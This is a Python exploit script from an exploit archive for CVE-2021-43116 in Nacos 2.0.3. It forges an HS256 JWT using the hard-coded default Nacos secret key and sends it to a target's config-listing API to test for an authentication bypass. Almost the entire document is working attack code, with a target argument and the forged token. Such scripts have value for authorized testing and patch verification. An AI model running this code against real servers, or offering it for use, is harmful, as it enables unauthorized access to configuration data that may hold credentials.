Exploit for Nacos 2.0.3 Access Control CVE-2021-43116

## https://sploitus.com/exploit?id=PACKETSTORM:171638
# Exploit Title: Nacos 2.0.3 - Access Control vulnerability  
# Date: 2023-01-17  
# Exploit Author: Jenson Zhao  
# Vendor Homepage: https://nacos.io/  
# Software Link: https://github.com/alibaba/nacos/releases/  
# Version: Up to (including)2.0.3  
# Tested on: Windows 10  
# CVE : CVE-2021-43116  
# Required before execution: pip install PyJWT,requests  
import argparse  
import base64  
import requests  
import time  
import json  
from jwt.algorithms import has_crypto, requires_cryptography  
from jwt.utils import base64url_encode, force_bytes  
from jwt import PyJWS  
  
class MyPyJWS(PyJWS):  
def encode(self,  
payload, # type: Union[Dict, bytes]  
key, # type: str  
algorithm='HS256', # type: str  
headers=None, # type: Optional[Dict]  
json_encoder=None # type: Optional[Callable]  
):  
segments = []  
  
if algorithm is None:  
algorithm = 'none'  
  
if algorithm not in self._valid_algs:  
pass  
  
# Header  
header = {'alg': algorithm}  
  
if headers:  
self._validate_headers(headers)  
header.update(headers)  
  
json_header = force_bytes(  
json.dumps(  
header,  
separators=(',', ':'),  
cls=json_encoder  
)  
)  
  
segments.append(base64url_encode(json_header))  
segments.append(base64url_encode(payload))  
  
# Segments  
signing_input = b'.'.join(segments)  
try:  
alg_obj = self._algorithms[algorithm]  
key = alg_obj.prepare_key(key)  
signature = alg_obj.sign(signing_input, key)  
  
except KeyError:  
if not has_crypto and algorithm in requires_cryptography:  
raise NotImplementedError(  
"Algorithm '%s' could not be found. Do you have cryptography "  
"installed?" % algorithm  
)  
else:  
raise NotImplementedError('Algorithm not supported')  
  
segments.append(base64url_encode(signature))  
  
return b'.'.join(segments)  
  
  
def JwtGenerate():  
Secret = 'SecretKey01234567890123456789012345678901234567890123456789012345678'  
payload = json.dumps(  
{  
"sub": "nacos",  
"exp": int(time.time()) + 3600  
},  
separators=(',', ':')  
).encode('utf-8')  
encoded_jwt = MyPyJWS().encode(payload, base64.urlsafe_b64decode(Secret), algorithm='HS256')  
return encoded_jwt.decode()  
  
def check(url, https, token):  
if https:  
r = requests.get(  
url='https://' + url + '/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=' + token + '&username=',  
verify=False)  
else:  
r = requests.get(  
url='http://' + url + '/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=' + token + '&username=')  
if r.status_code == 403:  
print("There is no CVE-2021-43116 problem with the url!")  
else:  
print("There is CVE-2021-43116 problem with the url!")  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument("-t", "--target", help="URL of the target. example: 192.168.1.1:8848")  
parser.add_argument("-s", "--https", help="Whether https is used. Default is false")  
args = parser.parse_args()  
url = args.target  
https = False  
if (args.https):  
https = args.https  
if url:  
check(url, https, JwtGenerate())  
else:  
print('Please enter URL!')